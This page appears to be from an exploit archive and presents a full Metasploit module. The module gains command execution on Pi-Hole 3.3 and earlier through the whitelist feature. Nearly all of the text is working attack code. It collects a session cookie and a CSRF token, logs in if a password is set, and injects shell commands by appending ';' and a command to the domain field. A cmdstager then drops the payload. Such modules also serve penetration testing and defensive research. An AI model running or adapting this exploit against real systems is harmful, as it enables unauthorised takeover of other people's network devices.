Pi-Hole 3.3 Command Execution

2020.05.27
Credit: h00die
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Pi-Hole Whitelist OS Command Execution', 'Description' => %q{ This exploits a command execution vulnerability in Pi-Hole <= 3.3. When adding a new domain to the whitelist, it is possible to chain a command to the domain that is run on the OS. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Denis Andzakovic' # original PoC, discovery ], 'References' => [ ['URL', 'https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns'] ], 'Platform' => ['linux'], 'Privileged' => false, 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => 'Apr 15 2018', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']), OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']), ] ) end def login(cookie) vprint_status('Login required, attempting login.') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'cookie' => cookie, 'vars_get' => { 'tab' => 'blocklists' }, 'vars_post' => { 'pw' => datastore['PASSWORD'] }, 'method' => 'POST' ) end def execute_command(cmd, _opts = {}) # get cookie res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') ) cookie = res.get_cookies print_status("Using cookie: #{cookie}") # get token res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'), 'cookie' => cookie, 'vars_get' => { 'l' => 'white' } ) # check if we got hit by a login prompt if res && res.body.include?('Sign in to start your session') res = login(cookie) end if res && res.body.include?('Sign in to start your session') fail_with(Failure::BadConfig, 'Incorrect Password') end # <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div> # may also include / %r{div id="token" hidden>(?<token>[\w+=/]+)</div>} =~ res.body unless token fail_with(Failure::UnexpectedReply, 'Unable to find token') end print_status("Using token: #{token}") send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'), 'vars_post' => { 'domain' => "#{rand_text_alphanumeric(3..5)}.com;#{cmd}", 'list' => 'white', 'token' => token } }) end def check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), 'method' => 'GET' ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 # vDev (HEAD, v3.2.1-0-g31dddd8-dirty) # v3.2.1 %r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body if version && Gem::Version.new(version) < Gem::Version.new('3.3') vprint_good("Version Detected: #{version}") return CheckCode::Appears else vprint_bad("Version Detected: #{version}") return CheckCode::Safe end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end CheckCode::Safe end def exploit if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end begin execute_cmdstager(flavor: :bourne) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end


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